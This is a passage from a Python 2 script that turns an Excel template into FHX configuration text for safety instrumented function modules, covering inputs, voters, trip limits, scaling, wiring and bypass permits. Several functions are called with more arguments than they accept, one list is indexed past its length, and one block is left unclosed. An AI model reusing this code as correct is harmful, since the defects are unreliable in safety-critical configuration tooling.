text.XLSSheetVTRTypeList[1] and c_vtr_name != 'LSDVTR' + str(c_i_dvtr -1):                           \n                    c_vtr_name += '_DVTR'\n\n                if (len(c_vtr_bypopts.split('8')) > 1 or c_bp_flag) and (c_fb_type == text.XLSSheetFBTypeList[0] or c_fb_type == text.XLSSheetFBTypeList[1]):\n                    byp_flag = True\n                    byp_con_list.append([c_byp_name, c_vtr_name, c_vtr_in])\n                \n                noi = getVTRNOI(vtr_list, c_mod_name, c_vtr_name)\n                con_list.append([c_fb_name, c_fb_type, c_vtr_name, c_vtr_in, noi, c_bp_flag])\n                dst_list.append([c_fb_name, c_fb_type, c_DST])\n                \n                if c_fb_type == text.XLSSheetFBTypeList[0]:\n                    ai_list.append(c_fb_name)\n                elif c_fb_type == text.XLSSheetFBTypeList[2]:\n                    do_list.append(c_fb_name) \n                \n                if c_fb_type == text.XLSSheetFBTypeList[0]:\n                    scale_list.append([c_fb_name, c_vtr_name, c_vtr_in, c_eu0, c_eu0_flag, c_eu100, c_eu100_flag, c_units, c_decpt])\n                \n                if c_vtr_type == text.XLSSheetVTRTypeList[0] or c_vtr_type == text.XLSSheetVTRTypeList[1]:\n                    vtr_info_list.append([c_vtr_name, c_vtr_ptrip_lim, c_vtr_ptrip_flag, c_vtr_trip_lim, c_vtr_trip_flag, c_vtr_in, c_vtr_type, c_vtr_det_type, c_vtr_num2trip])\n                                       \n                #===============================================================================\n                # cycling write\n                #===============================================================================\n                # write info about AI/DI/DO                                     \n                if flag and len(c_fb_type) > 0:\n                    ai_scale_flag = False\n                    \n                    if  c_fb_type == text.XLSSheetFBTypeList[0]:\n                        if c_vtr_in == 0 or c_vtr_in == 1:\n                            ai_scale_flag = True\n                        \n                        writeLSAIInfo(out_file, c_fb_name, c_pos_aidi, id, c_bp_ref_diff, ai_scale_flag)\n                    elif c_fb_type == text.XLSSheetFBTypeList[1]:\n                        writeLSDIInfo(out_file, c_fb_name, c_pos_aidi, id, c_bp_ref_diff)\n                    else:\n                        writeLSDOInfo(out_file, c_fb_name, c_pos_do, id, c_bp_ref_diff)\n               \n                # write info about VTRs\n                if flag and c_vtr_type == text.XLSSheetVTRTypeList[0]:\n                    if c_vtr_in == 0 or c_vtr_in == 1:\n                        if len(c_vtr_name) <= 16:\n                            writeLSAVTRInfo(out_file, c_vtr_name, c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                        else:\n                            writeLSAVTRInfo(out_file, 'LSAVTR' + str(c_i_avtr), c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                        \n                elif flag and c_vtr_type == text.XLSSheetVTRTypeList[1]:\n                    if c_vtr_in == 0 or c_vtr_in == 1:  \n                        if len(c_vtr_name) <= 16:\n                            writeLSDVTRInfo(out_file, c_vtr_name, c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                        else:\n                            writeLSDVTRInfo(out_file, 'LSDVTR' + str(c_i_dvtr), c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                \n                #===============================================================================\n                # generate template       \n                #===============================================================================\n                if not flag:                                 \n                    # line 1: header\n                    out_file.write('SIF_MODULE TAG=\"' + c_mod_name.upper() + '\" PLANT_AREA=\"' + c_area.upper() +'\" CATEGORY=\"\"\\r\\n')\n                    \n                    c_unix_time, c_date_time = getTime()\n                    \n                    # line 2: header\n                    out_file.write(' user=\"administrator\" time=' + c_unix_time + '/*' + c_date_time + '*/' + '\\r\\n')               \n                \n                    # line 3\n                    out_file.write('{\\r\\n')\n                    \n                    # line 4: description\n                    out_file.write('  DESCRIPTION=\"' + c_desc +'\"\\r\\n')\n                    # line 5: SLS\n                    out_file.write('  LOGIC_SOLVER=\"' + c_SLS +'\"\\r\\n')\n                    \n                    # header\n                    out_file.write('  PRIMARY_CONTROL_DISPLAY=\"\"\\r\\n')\n                    out_file.write('  INSTRUMENT_AREA_DISPLAY=\"SIS_MOD_FP\"\\r\\n')\n                    out_file.write('  DETAIL_DISPLAY=\"\"\\r\\n')\n                    out_file.write('  TYPE=\"\"\\r\\n')\n                    out_file.write('  SUB_TYPE=\"\"\\r\\n')\n\n                    # write info about FB AI/DI/DO\n                    ai_scale_flag = False\n                    if  c_fb_type == text.XLSSheetFBTypeList[0]:                        \n                        if c_vtr_in == 0 or c_vtr_in == 1:\n                            ai_scale_flag = True\n                                                    \n                        writeLSAIInfo(out_file, c_fb_name, c_pos_aidi, id, c_bp_ref_diff, ai_scale_flag)\n                    elif c_fb_type == text.XLSSheetFBTypeList[1]:\n                        writeLSDIInfo(out_file, c_fb_name, c_pos_aidi, id, c_bp_ref_diff)\n                    elif c_fb_type == text.XLSSheetFBTypeList[2]:\n                        writeLSDOInfo(out_file, c_fb_name, c_pos_do, id, c_bp_ref_diff)\n                            \n                   # write info about voters:\n                    if c_vtr_type == text.XLSSheetVTRTypeList[0]:\n                        if c_vtr_in == 0 or c_vtr_in == 1: \n                            if len(c_vtr_name) <= 16:\n                                writeLSAVTRInfo(out_file, c_vtr_name, c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                            else:\n                                writeLSAVTRInfo(out_file, 'LSAVTR' + str(c_i_avtr), c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                            \n                    elif c_vtr_type == text.XLSSheetVTRTypeList[1]:\n                        if c_vtr_in == 0 or c_vtr_in == 1:\n                            if len(c_vtr_name) <= 16:\n                                writeLSDVTRInfo(out_file, c_vtr_name, c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag)\n                            else:\n                                writeLSDVTRInfo(out_file, 'LSDVTR' + str(c_i_dvtr), c_pos_aidi, id_vtr, noi, c_bp_ref_diff, c_bp_flag, byp_flag) \n                                                                                       \n                    flag = True   \n                                \n                # update counters                                     \n                if  c_fb_type == text.XLSSheetFBTypeList[0] or c_fb_type == text.XLSSheetFBTypeList[1]:\n                    c_pos_aidi += 1\n                elif c_fb_type == text.XLSSheetFBTypeList[2]:\n                    c_pos_do += 1\n\n                id += 1\n                id_vtr += 1\n\n        out_file.write('  FBD_ALGORITHM\\r\\n')\n        out_file.write('  {\\r\\n')\n        \n        # generate frame\n        if b_frame:\n            writeFrameBorder(out_file, b_lang)        \n        \n        # write info about connections\n        writeConnectionsInfo(out_file, con_list, c_bp_name)\n               \n        out_file.write('  }\\r\\n')\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"VERSION\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE { CV=1 }\\r\\n')\n        out_file.write('  }\\r\\n')\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"EXEC_TIME\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE { CV=0 }\\r\\n')\n        out_file.write('  }\\r\\n')\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"SIF_ERRORS\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE\\r\\n')\n        out_file.write('    {\\r\\n')\n        out_file.write('      ENUM_SET=\"$ls_sif_errors\"\\r\\n')\n        out_file.write('    }\\r\\n')\n        out_file.write('  }\\r\\n')\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"SIF_ALERTS\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE\\r\\n')\n        out_file.write('    {\\r\\n')\n        out_file.write('      ENUM_SET=\"$ls_sif_alerts\"\\r\\n')\n        out_file.write('    }\\r\\n')\n        out_file.write('  }\\r\\n')\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"LS_NAME\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE { CV=\"\" }\\r\\n')\n        out_file.write('  }\\r\\n')\n        \n        #write DSTs info\n        writeDSTInfo(out_file, dst_list)\n\n        # write voter params info\n        writeVTRInfo(out_file, vtr_info_list, b_lang)\n                \n        # scale\n        writeScaleInfo(out_file, scale_list, b_decpt)        \n\n        # bypass permit ref        \n        writeBPReference(out_file, c_bp_name, txt_bp_link)\n\n        out_file.write('}\\r\\n')   \n\n    out_file.close()\n\ndef writePlantAreaInfo(out_file, area):\n    id = getIndex()\n    c_unix_time, c_date_time = getTime()\n                    \n    out_file.write('PLANT_AREA NAME=\"' + area + '\" INDEX=' + id + '\\r\\n')\n    out_file.write(' user=\"administrator\" time=' + c_unix_time + '/*' + c_date_time + '*/' + '\\r\\n')\n    out_file.write('{\\r\\n')\n    out_file.write('}\\r\\n')\n\ndef writeSISDomainInfo(out_file, domain):\n    id = getIndex()\n    c_unix_time, c_date_time = getTime()\n    \n    out_file.write('SISNET_DOMAIN NAME=\"' + domain + '\" INDEX=1\\r\\n')\n    out_file.write(' user=\"administrator\" time=' + c_unix_time + '/*' + c_date_time + '*/' + '\\r\\n')\n    out_file.write('{\\r\\n')\n    out_file.write('}\\r\\n')\n\ndef getIndex():\n    c_random = random.sample(['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'],  2)\n    \n    id = ''    \n    for c in c_random:\n        id += c \n\n    return id\n\n\ndef writeSLSHeader(out_file, sls, c_domain):\n    c_unix_time, c_date_time = getTime()\n    \n    out_file.write('LOGIC_SOLVER NAME=\"' + sls + '\"\\r\\n')\n    out_file.write(' user=\"administrator\" time=' + c_unix_time + '/*' + c_date_time + '*/' + '\\r\\n')     \n    out_file.write('{\\r\\n')\n    out_file.write('  SISNET_DOMAIN=\"' + c_domain + '\"\\r\\n')\n    out_file.write('  LAST_GENERATED_CRC=0\\r\\n')\n    out_file.write('  LAST_DOWNLOADED_CRC=0\\r\\n')\n    out_file.write('  GLOBAL_SLOT=0\\r\\n')\n    out_file.write('  DLOAD_SLOT=0\\r\\n')\n    out_file.write('  PUBLISHER_TYPE=LOCAL\\r\\n')\n    out_file.write('  PRIMARY_CONTROL_DISPLAY=\"\"\\r\\n')\n    out_file.write('  INSTRUMENT_AREA_DISPLAY=\"SIS_LSDEV_FP\"\\r\\n')\n    out_file.write('  DETAIL_DISPLAY=\"\"\\r\\n')\n    out_file.write('  SCAN_RATE=50_MILLISECONDS\\r\\n')\n    out_file.write('  ENABLE_FAST_IO_UPDATES=F\\r\\n')\n    out_file.write('  ASSIGNED_CARD=\"\"\\r\\n')\n    out_file.write('  TEST_INTERVAL_TIME=0\\r\\n')\n    out_file.write('  REMINDER_TIME=0\\r\\n')\n    out_file.write('  AUTO_PROOF_TEST=F\\r\\n')\n    out_file.write('  REDUCED_STATUS=F\\r\\n')\n\ndef writeSLSChannels(out_file, c_ch_dst, c_ch, c_ch_type, c_ch_desc, c_ch_enab):    \n    out_file.write('  SIMPLE_IO_CHANNEL POSITION=' + str(c_ch) + ' DEFINITION=\"' + c_ch_type + '\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"' + c_ch_desc + '\"\\r\\n')\n    out_file.write('    ENABLED=' + str(c_ch_enab)[0:1] + '\\r\\n')\n    out_file.write('    DEVICE_SIGNAL_TAG=\"' + c_ch_dst + '\"\\r\\n')\n    out_file.write('    HART_LONG_TAG=\"\"\\r\\n')\n    out_file.write('  }\\r\\n')\n\ndef writeSLSFooter(out_file):\n    out_file.write('}\\r\\n')\n\ndef writeLSAIInfo(out_file, c_fb_name, i, id, diff, flag):\n    out_file.write('  FUNCTION_BLOCK NAME=\"' + c_fb_name + '\" DEFINITION=\"LSAI\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"Analog Input\"\\r\\n')\n    out_file.write('    ID=' + str(id) + '\\r\\n')\n    out_file.write('    RECTANGLE= { X=50 Y=' + str(100 + (i - 1)*150 + diff) +' H=80 W=140 }\\r\\n')\n    \n    if flag: \n        out_file.write('    ADDITIONAL_CONNECTOR NAME=\"OUT_SCALE\" TYPE=OUTPUT { ATTRIBUTE=\"OUT_SCALE\" }\\r\\n')\n    \n    out_file.write('  }\\r\\n')\n\ndef writeLSDIInfo(out_file, c_fb_name, i, id, diff):\n    out_file.write('  FUNCTION_BLOCK NAME=\"' + c_fb_name + '\" DEFINITION=\"LSDI\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"Discrete Input\"\\r\\n')\n    out_file.write('    ID=' + str(id) + '\\r\\n')\n    out_file.write('    RECTANGLE= { X=50 Y=' + str(100 + (i - 1)*150 + diff) +' H=80 W=140 }\\r\\n')\n    out_file.write('  }\\r\\n')\n\ndef writeLSDOInfo(out_file, c_fb_name, i, id, diff):\n    out_file.write('  FUNCTION_BLOCK NAME=\"' + c_fb_name + '\" DEFINITION=\"LSDO\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"Discrete Output\"\\r\\n')\n    out_file.write('    ID=' + str(id) + '\\r\\n')\n    out_file.write('    RECTANGLE= { X=1110 Y=' + str(100 + (i - 1)*150 + diff) +' H=80 W=140 }\\r\\n')\n    out_file.write('  }\\r\\n')\n\ndef writeLSAVTRInfo(out_file, c_vtr_name, i, id, noi, diff):\n    out_file.write('  FUNCTION_BLOCK NAME=\"' + c_vtr_name + '\" DEFINITION=\"LSAVTR\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"Analog Voter\"\\r\\n')\n    out_file.write('    ID=' + str(id) + '\\r\\n')\n    out_file.write('    RECTANGLE= { X=400 Y=' + str(100 + (i - 1)*150 + diff) + ' H=80 W=140 }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"TRIP_VOTE_IN\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"PRE_VOTE_IN\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"IN\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"DESC\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"BYPASS\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    ADDITIONAL_CONNECTOR NAME=\"IN_SCALE\" TYPE=INPUT { ATTRIBUTE=\"IN_SCALE\" }\\r\\n')\n    out_file.write('  }\\r\\n')\n\ndef writeLSDVTRInfo(out_file, c_vtr_name, i, id, noi, diff):\n    out_file.write('  FUNCTION_BLOCK NAME=\"' + c_vtr_name + '\" DEFINITION=\"LSDVTR\"\\r\\n')\n    out_file.write('  {\\r\\n')\n    out_file.write('    DESCRIPTION=\"Discrete Voter\"\\r\\n')\n    out_file.write('    ID=' + str(id) + '\\r\\n')\n    out_file.write('    RECTANGLE= { X=400 Y=' + str(100 + (i - 1)*150 + diff) + ' H=80 W=140 }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"TRIP_VOTE_IN\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"IN_D\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"DESC\"  COUNT=' + str(noi) + ' }\\r\\n')\n    out_file.write('    EXTENSIBLE_ATTRIBUTE { NAME=\"BYPASS\"  COUNT=' + str(noi) + ' }\\r\\n')\n\ndef writeConnectionsInfo(out_file, con_list, bp_name):\n    for c in con_list:\n        c_fb_name = c[0]\n        c_fb_type = c[1]\n        c_vtr_name = c[2]\n        c_vtr_in = c[3]\n        c_noi = c[4]\n        c_bp_flag = c[5]\n               \n        # ai\n        if c_fb_type == text.XLSSheetFBTypeList[0]:\n            out_file.write('    WIRE SOURCE=\"' + c_fb_name + '/OUT\" DESTINATION=\"' + c_vtr_name + '/IN' + str(c_vtr_in) + '\" { IS_FEEDBACK_WIRE=T SEGMENT { INDEX=2 ORIENTATION=VERTICAL ORDINATE=' + str(200 + c_vtr_in*10) + ' } }\\r\\n')\n            out_file.write('    WIRE SOURCE=\"' + c_fb_name + '/OUT_SCALE\" DESTINATION=\"' + c_vtr_name + '/IN_SCALE\" { SEGMENT { INDEX=2 ORIENTATION=VERTICAL ORDINATE=210 } }\\r\\n') \n        \n        # di\n        elif c_fb_type == text.XLSSheetFBTypeList[1]:\n            out_file.write('    WIRE SOURCE=\"' + c_fb_name + '/OUT_D\" DESTINATION=\"' + c_vtr_name + '/IN_D' + str(c_vtr_in) + '\" { IS_FEEDBACK_WIRE=T SEGMENT { INDEX=2 ORIENTATION=VERTICAL ORDINATE=' + str(200 + c_vtr_in*10) + ' } }\\r\\n')        \n        \n        # bypass permit\n        if c_bp_flag and (c_fb_type == text.XLSSheetFBTypeList[0] or c_fb_type == text.XLSSheetFBTypeList[1]):\n            out_file.write('    WIRE SOURCE=\"' + bp_name + '\" DESTINATION=\"' + c_vtr_name + '/BYPASS_PERMIT\" { SEGMENT { INDEX=2 ORIENTATION=VERTICAL ORDINATE=380 } }\\r\\n')\n\ndef writeFrameBorder(out_file, b_lang):\n    name = randomizeIt(8)\n    name += '-'\n    name += randomizeIt(4)\n    name += '-'\n    name += randomizeIt(4)\n    name += '-'\n    name += randomizeIt(4)\n    name += '-'\n\n    txt_rev = text.FHXRev[0]\n    txt_date = text.FHXDate[0]\n    txt_author = text.FHXAuthor[0]\n    txt_comments = text.FHXComments[0]\n    \n    out_file.write('    GRAPHICS ALGORITHM=FBD\\r\\n')\n    out_file.write('    {\\r\\n')\n    out_file.write('      BOX_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        RECTANGLE= { X=5 Y=5 H=1990 W=1290 }\\r\\n')\n    out_file.write('        LINE_STYLE=SOLID\\r\\n')\n    out_file.write('        LINE_WIDTH=1\\r\\n')\n    out_file.write('        LINE_COLOR= { RED=0 GREEN=0 BLUE=0 }\\r\\n')\n    out_file.write('        FGD_COLOR= { RED=255 GREEN=255 BLUE=255 }\\r\\n')\n    out_file.write('        BGD_COLOR= { RED=0 GREEN=0 BLUE=0 }\\r\\n')\n    out_file.write('        FILL_PATTERN=\"\"\\r\\n')\n    out_file.write('      }\\r\\n')\n    out_file.write('      BOX_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        RECTANGLE= { X=5 Y=1800 H=30 W=1290 }\\r\\n')\n    out_file.write('        LINE_STYLE=SOLID\\r\\n')\n    out_file.write('        LINE_WIDTH=1\\r\\n')\n    out_file.write('        LINE_COLOR= { RED=0 GREEN=0 BLUE=0 }\\r\\n')\n    out_file.write('        FGD_COLOR= { RED=255 GREEN=255 BLUE=128 }\\r\\n')\n    out_file.write('        BGD_COLOR= { RED=0 GREEN=0 BLUE=0 }\\r\\n')\n    out_file.write('        FILL_PATTERN=\"\"\\r\\n')\n    out_file.write('      }\\r\\n')\n\n    out_file.write('      TEXT_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        ORIGIN= { X=35 Y=1840 }\\r\\n')\n    out_file.write('        END= { X=65 Y=1868 }\\r\\n')\n    out_file.write('        TEXT=\"' + txt_rev + ':\\r\\n')\n    out_file.write('------\"\\r\\n')\n    out_file.write('      }\\r\\n')\n    out_file.write('      TEXT_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        ORIGIN= { X=115 Y=1840 }\\r\\n')\n    out_file.write('        END= { X=148 Y=1868 }\\r\\n')\n    out_file.write('        TEXT=\"' + txt_date + ':\\r\\n')\n    out_file.write('------\"\\r\\n')\n    out_file.write('      }\\r\\n')\n    out_file.write('      TEXT_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        ORIGIN= { X=198 Y=1840 }\\r\\n')\n    out_file.write('        END= { X=242 Y=1868 }\\r\\n')\n    out_file.write('        TEXT=\"' + txt_author + ':\\r\\n')\n    out_file.write('---------\"\\r\\n')\n    out_file.write('      }\\r\\n')\n    out_file.write('      TEXT_GRAPHIC\\r\\n')\n    out_file.write('      {\\r\\n')\n    out_file.write('        NAME=\"{' + name + randomizeIt(12) + '}\"\\r\\n')\n    out_file.write('        ORIGIN= { X=292 Y=1840 }\\r\\n')\n    out_file.write('        END= { X=353 Y=1868 }\\r\\n')\n    out_file.write('        TEXT=\"' + txt_comments + ':\\r\\n')\n    out_file.write('-------------\"\\r\\n')\n    out_file.write('      }\\r\\n')\n    \n    out_file.write('    }\\r\\n')\n\ndef randomizeIt(noi):\n    c_random = random.sample(['A', 'B', 'C', 'D', 'E', 'F', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'],  noi)\n    \n    cstr = ''\n    \n    for c in c_random:\n        cstr += c \n\n    return cstr\n\ndef writeDSTInfo(out_file, dst_list):\n    for c in dst_list:\n        c_fb_name = c[0]\n        c_fb_type = c[1]\n        c_DST = c[2]\n    \n        if c_fb_type == text.XLSSheetFBTypeList[0]:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_fb_name + '/IO_IN\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { REF=\"//' + c_DST + '/FIELD_VAL_PCT\" CLASS=FLOAT_INPUT }\\r\\n')\n            out_file.write('  }\\r\\n')\n        elif c_fb_type == text.XLSSheetFBTypeList[1]:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_fb_name + '/IO_IN\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { REF=\"//' + c_DST + '/FIELD_VAL_D\" CLASS=DISCRETE_INPUT }\\r\\n')\n            out_file.write('  }\\r\\n')\n        elif c_fb_type == text.XLSSheetFBTypeList[2]:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_fb_name + '/IO_OUT\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { REF=\"//' + c_DST + '/OUT_D\" CLASS=DISCRETE_OUTPUT }\\r\\n')\n            out_file.write('  }\\r\\n')\n\ndef writeVTRInfo(out_file, vtr_info_list, b_lang):  \n    for c in vtr_info_list:\n        c_vtr_name = c[0]\n        c_vtr_ptrip_lim = c[1] \n        c_vtr_ptrip_flag = c[2]\n        c_vtr_trip_lim = c[3]\n        c_vtr_trip_flag = c[4]\n        c_vtr_in = c[5]\n        c_vtr_type = c[6]\n        c_vtr_det_type = c[7]\n        c_vtr_num2trip = c[8]        \n        c_vtr_st_opts = c[9]\n        \n        ptrip = c_vtr_ptrip_lim\n        trip = c_vtr_trip_lim\n        \n        # pre trip lim\n        if (c_vtr_in == 0 or c_vtr_in == 1) and c_vtr_type == text.XLSSheetVTRTypeList[0]:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/PRE_TRIP_LIM\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { CV=' + str(ptrip) + ' }\\r\\n')\n            out_file.write('  }\\r\\n')\n        \n        # trip lim\n        if (c_vtr_in == 0 or c_vtr_in == 1) and c_vtr_type == text.XLSSheetVTRTypeList[0]:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/TRIP_LIM\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { CV=' + str(trip) + ' }\\r\\n')\n            out_file.write('  }\\r\\n')\n        \n        # num to trip\n        if c_vtr_in == 0 or c_vtr_in == 1:\n            if c_vtr_num2trip == 0:\n                c_vtr_num2trip = 1\n            \n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/NUM_TO_TRIP\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { CV=' + str(c_vtr_num2trip) + ' }\\r\\n')\n            out_file.write('  }\\r\\n')\n        \n        # detect type\n        if (c_vtr_in == 0 or c_vtr_in == 1) and c_vtr_type == text.XLSSheetVTRTypeList[0]:\n            det_type = text.XLSSheetVTRDetTypeList[0]\n            \n            if b_lang:\n                det_type = text.XLSSheetVTRDetTypeListRus[0]\n                \n                if c_vtr_det_type == text.XLSSheetVTRDetTypeList[0]:\n                    det_type = text.XLSSheetVTRDetTypeListRus[0]\n                elif c_vtr_det_type == text.XLSSheetVTRDetTypeList[1]:\n                    det_type = text.XLSSheetVTRDetTypeListRus[1]\n            else:\n                if c_vtr_det_type == text.XLSSheetVTRDetTypeList[0]:\n                    det_type = text.XLSSheetVTRDetTypeList[0]\n                elif c_vtr_det_type == text.XLSSheetVTRDetTypeList[1]:\n                    det_type = text.XLSSheetVTRDetTypeList[1]                \n                    \n        \n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/DETECT_TYPE\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE\\r\\n')\n            out_file.write('    {\\r\\n')\n            out_file.write('      SET=\"$detect_type\"\\r\\n')\n            out_file.write('      STRING_VALUE=\"' + det_type + '\"\\r\\n')\n            out_file.write('      CHANGEABLE=F\\r\\n')\n            out_file.write('    }\\r\\n')\n            out_file.write('  }\\r\\n')\n\n        # status opts\n        if (c_vtr_in == 0 or c_vtr_in == 1):\n            st_opts = text.XLSSheetVTRStOptsList[1]\n            \n            if b_lang:\n                st_opts = text.XLSSheetVTRDetTypeListRus[0]\n                \n                if c_vtr_st_opts == text.XLSSheetVTRStOptsList[1]:\n                    st_opts = text.XLSSheetVTRStOptsListRus[0]\n                elif c_vtr_st_opts == text.XLSSheetVTRStOptsList[2]:\n                    st_opts = text.XLSSheetVTRStOptsListRus[1]\n                elif c_vtr_st_opts == text.XLSSheetVTRStOptsList[3]:\n                    st_opts = text.XLSSheetVTRStOptsListRus[2]                    \n            else:\n                if c_vtr_st_opts == text.XLSSheetVTRStOptsList[1]:\n                    st_opts = text.XLSSheetVTRStOptsList[0]\n                elif c_vtr_st_opts == text.XLSSheetVTRStOptsList[2]:\n                    st_opts = text.XLSSheetVTRStOptsList[1] \n                elif c_vtr_st_opts == text.XLSSheetVTRStOptsList[3]:\n                    st_opts = text.XLSSheetVTRStOptsList[2]\n\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/STATUS_OPT\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE\\r\\n')\n            out_file.write('    {\\r\\n')\n            out_file.write('      SET=\"$votr_status_opt\"\\r\\n')\n            out_file.write('      STRING_VALUE=\"' + st_opts + '\"\\r\\n')\n            out_file.write('      CHANGEABLE=F\\r\\n')\n            out_file.write('    }\\r\\n')\n            out_file.write('  }\\r\\n')\n\ndef writeScaleInfo(out_file, scale_list, b_decpt):\n    for c in scale_list:\n        c_fb_name = c[0]\n        c_vtr_name = c[1]\n        c_vtr_in = c[2]\n        c_eu0 = c[3]\n        c_eu0_flag = c[4]\n        c_eu100 = c[5]\n        c_eu100_flag = c[6]\n        c_units = c[7]\n        c_decpt = c[8]\n        \n        if c_eu0_flag == False:\n            c_eu0 = 0\n        \n        if c_eu100_flag == False:\n            c_eu100 = 100\n        \n        if b_decpt and c_decpt == 0:\n            if c_eu100 < 1:\n                c_decpt = 3\n            elif c_eu100 < 100:\n                c_decpt = 2\n            elif c_eu100 < 1000:\n                c_decpt = 1\n            else:\n                c_decpt = 0\n        \n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_fb_name + '/OUT_SCALE\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE { EU100=' + str(c_eu100) + ' EU0=' + str(c_eu0) + ' UNITS=\"' + c_units + '\" DECPT=' + str(c_decpt) + ' }\\r\\n')\n        out_file.write('  }\\r\\n')\n        \n        if c_vtr_in == 0 or c_vtr_in == 1:\n            out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + c_vtr_name + '/IN_SCALE\"\\r\\n')\n            out_file.write('  {\\r\\n')\n            out_file.write('    VALUE { EU100=' + str(c_eu100) + ' EU0=' + str(c_eu0) + ' UNITS=\"' + c_units + '\" DECPT=' + str(c_decpt) + ' }\\r\\n')\n            out_file.write('  }\\r\\n')\n\ndef writeBPReference(out_file, bp_name, bp_ref):\n    if len(bp_ref) > 0:\n        out_file.write('  ATTRIBUTE_INSTANCE NAME=\"' + bp_name + '\"\\r\\n')\n        out_file.write('  {\\r\\n')\n        out_file.write('    VALUE { REF=\"//' + bp_ref + '\" }\\r\\n')\n        out_file.write('  }\\r\\n')\n\ndef checkValue(val):\n    out_str = ''\n    \n    if val != None:\n        out_str = val\n    \n    return out_str\n\ndef checkIntValue(val):\n    out_int = 0\n    \n    if val != None:\n        out_int = int(val)\n    \n    return out_int\n\ndef checkFloatValue(val):\n    flag = False\n    \n    out_float = 0\n    \n    if val != None:\n        out_float = float(val)\n        flag = True\n    \n    return out_float, flag\n\ndef getTime():\n    c_unix_time = str(time.time()).split('.')[0]\n    \n    d = dt.datetime.now()\n    c_month = d.strftime(\"%B\")[0:3]\n\n    c_datetime = d.strftime(\"%d\") + '-' + c_month.decode('cp1251') + d.strftime(\"-%Y %H:%M:%S\")\n    \n    return c_unix_time, c_datetime\n    \n\ndef getXLSData(c_xls_path):\n    wb = load_workbook(filename = c_xls_path, use_iterators = True)\n\n    ws = wb.get_sheet_by_name(name = 'Template')\n   